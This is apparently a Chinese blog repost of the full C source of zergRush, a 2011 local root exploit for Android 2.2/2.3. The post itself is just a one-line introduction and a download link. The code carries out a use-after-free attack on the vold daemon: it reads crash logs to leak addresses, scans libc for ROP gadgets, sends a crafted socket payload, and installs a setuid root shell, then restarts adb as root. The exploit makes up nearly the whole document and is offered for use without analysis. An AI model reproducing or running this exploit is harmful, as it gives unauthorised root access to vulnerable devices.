zergRush源码

柔情只为你懂 2023-10-17 12:49 1阅读 0赞

zergRush用于对Android手机进行root提权, 适用于android 2.2/2.3版本,代码可以从下面这个网址获得:  
  
[https://github.com/revolutionary/zergRush/downloads][https_github.com_revolutionary_zergRush_downloads]

这里,将zergRush.c的代码发布出来,仅供参考:  
  
  
/\* android 2.2/2.3 libsysutils root exploit use-after-free  
\*  
\* Exploited by rewriting a FrameworkCommand object making the runCommand  
\* point to our first ROP gadget.  
\*  
\* Copyright (c) 2011, The Revolutionary development team.  
\*  
\* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,  
\* THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE  
\* WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!  
\*  
\* It only works if called from adb shell since we need group log.  
\*  
\* Compile:  
\* agcc zergRush.c -o zergRush -ldiskconfig -lcutils  
\*  
\*/  
\#include <stdio.h>  
\#include <stdlib.h>  
\#include <unistd.h>  
\#include <string.h>  
\#include <signal.h>  
\#include <errno.h>  
\#include <fcntl.h>

\#include <sys/mount.h>  
\#include <sys/socket.h>  
\#include <sys/select.h>  
\#include <sys/time.h>  
\#include <sys/types.h>  
\#include <sys/un.h>

\#include <dirent.h>

\#include <dlfcn.h>

\#include <sys/system\_properties.h>  
\#include <cutils/sockets.h>  
\#include <private/android\_filesystem\_config.h>

static pid\_t logcat\_pid = 0;  
static char \*sh = "/data/local/tmp/sh";  
static char \*bsh = "/data/local/tmp/boomsh";  
static char \*crashlog = "/data/local/tmp/crashlog";  
static char \*vold = "/system/bin/vold";

uint32\_t heap\_addr;  
uint32\_t libc\_base;  
uint32\_t heap\_base\_addr;  
uint32\_t heap\_offset;  
uint32\_t r9 = 0, r10 = 0, fp = 0;  
uint32\_t stack\_addr = 0x41414141;  
uint32\_t system\_ptr = 0;  
uint32\_t stack\_pivot = 0x41414141;  
uint32\_t pop\_r0 = 0x41414141;  
uint32\_t jumpsz = 0;  
uint32\_t gadget\_jumpsz = 108;  
uint32\_t buffsz = 0;  
uint32\_t allbuffsz\[\] = \{16,24,0\};

uint8\_t adjust = 0;

uint8\_t samsung = 0;

extern char \*\*environ;

static void die(const char \*msg)  
\{  
perror(msg);  
exit(errno);  
\}

static int copy(const char \*from, const char \*to)  
\{  
int fd1, fd2;  
char buf\[0x1000\];  
int r = 0;

if ((fd1 = open(from, O\_RDONLY)) < 0)  
return -1;  
if ((fd2 = open(to, O\_RDWR|O\_CREAT|O\_TRUNC, 0600)) < 0) \{  
close(fd1);  
return -1;  
\}  
  
for (;;) \{  
r = read(fd1, buf, sizeof(buf));  
if (r <= 0)  
break;  
if (write(fd2, buf, r) != r)  
break;  
\}  
  
close(fd1);  
close(fd2);  
sync(); sync();  
return r;  
\}

static int remount\_data(const char \*mntpoint)  
\{  
FILE \*f = NULL;  
int found = 0;  
char buf\[1024\], \*dev = NULL, \*fstype = NULL;

if ((f = fopen("/proc/mounts", "r")) == NULL)  
return -1;  
  
memset(buf, 0, sizeof(buf));  
for (;!feof(f);) \{  
if (fgets(buf, sizeof(buf), f) == NULL)  
break;  
if (strstr(buf, mntpoint)) \{  
found = 1;  
break;  
\}  
\}  
fclose(f);  
if (!found)  
return -1;  
if ((dev = strtok(buf, " \\t")) == NULL)  
return -1;  
if (strtok(NULL, " \\t") == NULL)  
return -1;  
if ((fstype = strtok(NULL, " \\t")) == NULL)  
return -1;  
return mount(dev, mntpoint, fstype, MS\_REMOUNT, 0);  
\}

static void \*find\_symbol(char \*sym)  
\{  
void \*r = NULL;  
void \*dlh = dlopen("/system/libc/libc.so", RTLD\_NOW);  
  
if (!dlh)  
die("\[-\] dlopen");  
if ((r = (void \*)dlsym(dlh, sym)) == NULL)  
die("\[-\] dlsym");  
dlclose(dlh);  
return r;  
\}

static int bad\_byte(uint8\_t byte)  
\{  
switch(byte) \{  
case 0x20:  
case 0x22:  
case 0x5c:  
case 0x00:  
return 1;  
break;  
default:  
break;  
\}  
return 0;  
\}

static void heap\_oracle() \{  
char ok = 1;  
if (r9 > heap\_base\_addr && r9 < (heap\_base\_addr+0x10000))  
heap\_addr = r9 + 0x70;  
else if (r10 > heap\_base\_addr && r10 < (heap\_base\_addr+0x10000))  
heap\_addr = r10 + 0x70;  
else if (fp > heap\_base\_addr && fp < (heap\_base\_addr+0x10000))  
heap\_addr = fp + 0x70;  
else  
ok = 0;

while(bad\_byte(heap\_addr&0xff)) heap\_addr += 0x20;  
if(ok)  
printf("\[+\] Overseer found a path ! 0x%08x\\n", heap\_addr);  
else \{  
printf("\[-\] No path found, let's hope ...\\n");  
heap\_addr = heap\_base\_addr + heap\_offset;  
\}  
\}

static int check\_addr(uint32\_t addr)  
\{  
/\*  
\* Check if address contains one of the forbidden bytes  
\*/  
int i = 0;

for(i=0; i<32; i+=8)  
if(bad\_byte((addr>>i) & 0xff))  
return -1;

return 0;  
\}

static int do\_fault()  
\{  
char buf\[255\];  
int sock = -1, n = 0, i;  
char s\_stack\_addr\[5\], s\_stack\_pivot\_addr\[5\], s\_pop\_r0\_addr\[5\], s\_system\[5\], s\_bsh\_addr\[5\], s\_heap\_addr\[5\];  
uint32\_t bsh\_addr;  
char padding\[128\];  
int32\_t padding\_sz = (jumpsz == 0 ? 0 : gadget\_jumpsz - jumpsz);

if(samsung) \{  
printf("\[\*\] Sleeping a bit (~40s)...\\n");  
sleep(40);  
printf("\[\*\] Waking !\\n");  
\}

memset(padding, 0, 128);  
strcpy(padding, "LORDZZZZzzzz");  
if(padding\_sz > 0) \{  
memset(padding+12, 'Z', padding\_sz);  
printf("\[\*\] Popping %d more zerglings\\n", padding\_sz);  
\}  
else if(padding\_sz < 0) \{  
memset(padding, 0, 128);  
memset(padding, 'Z', 12+padding\_sz);  
\}

if ((sock = socket\_local\_client("vold", ANDROID\_SOCKET\_NAMESPACE\_RESERVED, SOCK\_STREAM)) < 0)  
die("\[-\] Error creating Nydus");

sprintf(s\_stack\_addr, "%c%c%c%c", stack\_addr & 0xff, (stack\_addr>>8)&0xff, (stack\_addr>>16)&0xff, (stack\_addr>>24)&0xff);  
sprintf(s\_stack\_pivot\_addr, "%c%c%c%c", stack\_pivot & 0xff, (stack\_pivot>>8)&0xff, (stack\_pivot>>16)&0xff, (stack\_pivot>>24)&0xff);  
sprintf(s\_pop\_r0\_addr, "%c%c%c%c", pop\_r0 & 0xff, (pop\_r0>>8)&0xff, (pop\_r0>>16)&0xff, (pop\_r0>>24)&0xff);  
sprintf(s\_system, "%c%c%c%c", system\_ptr & 0xff, (system\_ptr>>8)&0xff, (system\_ptr>>16)&0xff, (system\_ptr>>24)&0xff);  
sprintf(s\_heap\_addr, "%c%c%c%c", heap\_addr & 0xff, (heap\_addr>>8)&0xff, (heap\_addr>>16)&0xff, (heap\_addr>>24)&0xff);

if(adjust)  
strcpy(buf, "ZERGZERG");  
else  
strcpy(buf, "ZERG");  
strcat(buf, " ZZ ");  
strcat(buf, s\_stack\_pivot\_addr);  
for(i=3; i < buffsz+1; i++)  
strcat(buf, " ZZZZ");  
strcat(buf, " ");  
strcat(buf, s\_heap\_addr);  
  
n = strlen(buf);  
bsh\_addr = stack\_addr + n + 1 + 8 + 8 + 8 + padding\_sz + 12 + 4;  
  
if(check\_addr(bsh\_addr) == -1) \{  
printf("\[-\] Colossus, we're doomed!\\n");  
exit(-1);  
\}

sprintf(s\_bsh\_addr, "%c%c%c%c", bsh\_addr & 0xff, (bsh\_addr>>8)&0xff, (bsh\_addr>>16)&0xff, (bsh\_addr>>24)&0xff);

n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s\_stack\_addr, s\_heap\_addr, padding, s\_pop\_r0\_addr, s\_bsh\_addr, s\_system, bsh, 0);  
  
printf("\[\*\] Sending %d zerglings ...\\n", n);

if ((n = write(sock, buf, n+1)) < 0)  
die("\[-\] Nydus seems broken");  
  
sleep(3);  
close(sock);

return n;  
\}

static int find\_rop\_gadgets()  
\{  
/\*  
\* add sp, \#108 -> b01b  
\* pop \{r4, r5, r6, r7, pc\} -> bdf0  
\*  
\* pop \{r0, pc\} -> bd01  
\*/  
int fd;  
char r\[2\], d\[2\];  
int n = 2;  
int bad = 0;

if((fd=open("/system/lib/libc.so", O\_RDONLY)) == -1)  
die("\[-\] open");  
  
lseek(fd, 0x10000, SEEK\_SET);

while(n == 2 && (stack\_pivot == 0x41414141 || pop\_r0 == 0x41414141)) \{  
n = read(fd, r, 2);  
switch(r\[0\]) \{  
case '\\x1b':  
if(stack\_pivot == 0x41414141) \{  
if(r\[1\] == '\\xb0') \{  
n = read(fd, d, 2);  
if(d\[0\] == '\\xf0' && d\[1\] == '\\xbd') \{  
stack\_pivot = libc\_base + lseek(fd, 0, SEEK\_CUR) - 4 + 1;  
if(check\_addr(stack\_pivot) == -1)  
stack\_pivot = 0x41414141;  
\}  
\}  
\}  
break;  
case '\\x01':  
if(pop\_r0 == 0x41414141) \{  
if(r\[1\] == '\\xbd') \{  
pop\_r0 = libc\_base + lseek(fd, 0, SEEK\_CUR) - 2 + 1;  
if(check\_addr(pop\_r0) == -1)  
pop\_r0 = 0x41414141;  
\}  
\}  
break;  
default:  
break;  
\}  
\}  
  
if (stack\_pivot == 0x41414141) \{  
printf("\[-\] You need more minerals !\\n");  
bad = -1;  
\}

if (pop\_r0 == 0x41414141) \{  
printf("\[-\] You need more vespene gas !\\n");  
bad = -1;  
\}

if(bad == -1)  
exit(-1);

return 0;  
\}

static uint32\_t checkcrash()  
\{  
uint32\_t fault\_addr = 0;  
char buf\[1024\], \*ptr = NULL;  
FILE \*f = NULL;  
long pos = 0;  
int ret=0;

system("/system/bin/logcat -c");  
unlink(crashlog);

if ((logcat\_pid = fork()) == 0) \{  
char \*a\[\] = \{"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL\};  
execve(\*a, a, environ);  
exit(1);  
\}  
sleep(3);

if (do\_fault() < 0)  
die("\[-\] Zerglings did not cause crash");  
/\* Give logcat time to write to file  
\*/  
sleep(3);  
if ((f = fopen(crashlog, "r")) == NULL)  
die("\[-\] Zerglings did not leave stuff at all");  
fseek(f, pos, SEEK\_SET);  
do \{  
memset(buf, 0, sizeof(buf));  
if (!fgets(buf, sizeof(buf), f))  
break;  
if ((ptr = strstr(buf, " sp ")) != NULL)  
ret = 1;  
if ((ptr = strstr(buf, " r9 ")) != NULL) \{  
ptr += 5;  
r9 = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " 10 ")) != NULL) \{  
ptr += 5;  
r10 = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " fp ")) != NULL) \{  
ptr += 5;  
fp = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
\} while (!feof(f));  
pos = ftell(f);  
fclose(f);

return ret;  
\}

static uint32\_t check\_libc\_base()  
\{  
char buf\[1024\], \*ptr = NULL;  
FILE \*f = NULL;  
long pos = 0;  
int ret=0;  
uint32\_t spotted\_base = 0;

if ((f = fopen(crashlog, "r")) == NULL)  
die("\[-\] Zerglings did not leave stuff at all");  
fseek(f, pos, SEEK\_SET);  
do \{  
memset(buf, 0, sizeof(buf));  
if (!fgets(buf, sizeof(buf), f))  
break;  
if ((ptr = strstr(buf, " /system/lib/libc.so")) != NULL) \{  
ptr -= 8;  
spotted\_base = strtoul(ptr, NULL, 16) & 0xfff00000;  
if(spotted\_base && spotted\_base != libc\_base) \{  
libc\_base = spotted\_base;  
ret = 1;  
\}  
\}  
\} while (!feof(f) && !spotted\_base);  
pos = ftell(f);  
fclose(f);

return ret;  
\}

static uint32\_t find\_stack\_addr()  
\{  
uint32\_t fault\_addr = 0;  
char buf\[1024\], \*ptr = NULL;  
FILE \*f = NULL;  
long pos = 0;  
uint32\_t sp=0, over=0;

system("/system/bin/logcat -c");  
unlink(crashlog);

if ((logcat\_pid = fork()) == 0) \{  
char \*a\[\] = \{"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL\};  
execve(\*a, a, environ);  
exit(1);  
\}  
sleep(3);

if (do\_fault() < 0)  
die("\[-\] Zerglings did not cause crash");  
/\* Give logcat time to write to file  
\*/  
sleep(3);  
if ((f = fopen(crashlog, "r")) == NULL)  
die("\[-\] Zerglings did not leave stuff at all");  
fseek(f, pos, SEEK\_SET);  
do \{  
memset(buf, 0, sizeof(buf));  
if (!fgets(buf, sizeof(buf), f))  
break;  
if ((ptr = strstr(buf, " 4752455a")) != NULL && stack\_addr == 0x41414141) \{  
ptr -= 8;  
stack\_addr = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) \{  
ptr -= 8;  
over = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " sp ")) != NULL && !sp) \{  
ptr += 5;  
sp = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " r9 ")) != NULL) \{  
ptr += 5;  
r9 = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " 10 ")) != NULL) \{  
ptr += 5;  
r10 = (uint32\_t)strtoul(ptr, NULL, 16);  
\}  
if ((ptr = strstr(buf, " fp ")) != NULL) \{  
ptr += 5;  
fp = (uint32\_t)strtoul(ptr, NULL, 16);  
\}

\} while (!feof(f));  
pos = ftell(f);  
fclose(f);

if(over && sp)  
jumpsz = over - sp;  
  
return stack\_addr;  
\}

static void do\_root()  
\{  
remount\_data("/data");  
chown(sh, 0, 0);  
chmod(sh, 04711);  
property\_set("ro.kernel.qemu","1");  
exit(0);  
\}

int main(int argc, char \*\*argv, char \*\*env)  
\{  
uint32\_t i = 0, ok = 0;  
char \*ash\[\] = \{sh, 0\};  
struct stat st;  
char version\_release\[1024\];  
int tries=0;

if (geteuid() == 0 && getuid() == 0 && strstr(argv\[0\], "boomsh"))  
do\_root();

printf("\\n\[\*\*\] Zerg rush - Android 2.2/2.3 local root\\n");  
printf("\[\*\*\] (C) 2011 Revolutionary. All rights reserved.\\n\\n");  
printf("\[\*\*\] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\\n\\n");

if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)  
die("\[-\] Cannot copy boomsh.");

chmod(bsh, 0711);

stat(vold, &st);  
heap\_base\_addr = ((((st.st\_size) + 0x8000) / 0x1000) + 1) \* 0x1000;

\_\_system\_property\_get("ro.build.version.release", version\_release);

if (strstr(version\_release, "2.2")) \{  
heap\_offset = 0x108;  
printf("\[+\] Found a Froyo ! 0x%08x\\n", heap\_offset);  
\} else if (strstr(version\_release, "2.3")) \{  
heap\_offset = 0x118;  
printf("\[+\] Found a GingerBread ! 0x%08x\\n", heap\_offset);  
\} else \{  
printf("\[-\] Not a 2.2/2.3 Android ...\\n");  
exit(-1);  
\}

heap\_addr = 0xffffff;

\_\_system\_property\_get("ro.build.fingerprint", version\_release);  
if(!strncmp(version\_release, "samsung", 7)) \{  
printf("\[+\] Found a Samsung, running Samsung mode\\n");  
samsung = 1;  
\}

system\_ptr = (uint32\_t) find\_symbol("system");  
libc\_base = system\_ptr & 0xfff00000;

if (check\_addr(system\_ptr) == -1) \{  
printf("\[-\] High templars, we're doomed!\\n");  
exit(-1);  
\}

tries = 0;  
printf("\[\*\] Scooting ...\\n");  
while(buffsz=allbuffsz\[tries\]) \{  
if(checkcrash()) \{  
printf("\[+\] Zerglings found a way to enter ! 0x%02x\\n", buffsz);  
break;  
\}  
tries++;  
\}

if(!buffsz) \{  
printf("\[-\] Hellions with BLUE flames !\\n");  
exit(-1);  
\}

for (tries = 0; tries < 2; tries++) \{  
heap\_oracle();  
find\_stack\_addr();

if (stack\_addr != 0x41414141 && jumpsz) \{  
printf("\[+\] Zerglings caused crash (good news): 0x%08x 0x%04x\\n", stack\_addr, jumpsz);  
break;  
\}  
\}  
  
if (stack\_addr == 0x41414141 || !jumpsz) \{  
printf("\[-\] Zerglings did not leave interesting stuff\\n");  
exit(-1);  
\}  
  
if (check\_addr(stack\_addr) == -1) \{  
if(bad\_byte(stack\_addr & 0xff)) \{  
stack\_addr += 4;  
adjust = 4;  
if (check\_addr(stack\_addr) == -1) \{  
printf("\[-\] Siege tanks, we're doomed!\\n");  
exit(-1);  
\}  
\}  
else \{  
printf("\[-\] Siege tanks, we're doomed!\\n");  
exit(-1);  
\}  
\}

if (jumpsz > 108 + 12) \{  
printf("\[-\] This terran has walled!\\n");  
exit(-1);  
\}

if(check\_libc\_base()) \{  
system\_ptr = libc\_base + (system\_ptr & 0x000fffff);  
printf("\[\*\] Creating more creep 0x%08x ...\\n", system\_ptr);

if (check\_addr(system\_ptr) == -1) \{  
printf("\[-\] High templars, we're doomed!\\n");  
exit(-1);  
\}  
\}

kill(logcat\_pid, SIGKILL);  
unlink(crashlog);

printf("\[\*\] Researching Metabolic Boost ...\\n");  
find\_rop\_gadgets();  
printf("\[+\] Speedlings on the go ! 0x%08x 0x%08x\\n", stack\_pivot, pop\_r0);

do\_fault();  
stat(sh, &st);  
if ((st.st\_mode & 04000) == 04000) \{  
char qemuprop\[1\];

printf("\\n\[+\] Rush did it ! It's a GG, man !\\n");  
property\_get("ro.kernel.qemu",qemuprop,"0");

if (qemuprop\[0\]=='1') \{  
printf("\[+\] Killing ADB and restarting as root... enjoy!\\n");  
fflush(stdout);  
sleep(1);  
kill(-1, SIGTERM);  
\} else \{  
printf("\[-\] Failed to set property to restart adb. Not killing.\\n");  
\}  
\} else \{  
printf("\\n\[-\] Bad luck, our rush did not succeed :(\\n");  
fflush(stdout);  
sleep(1);  
kill(-1, SIGTERM);  
\}

return 0;  
\}

[https_github.com_revolutionary_zergRush_downloads]: https://github.com/revolutionary/zergRush/downloads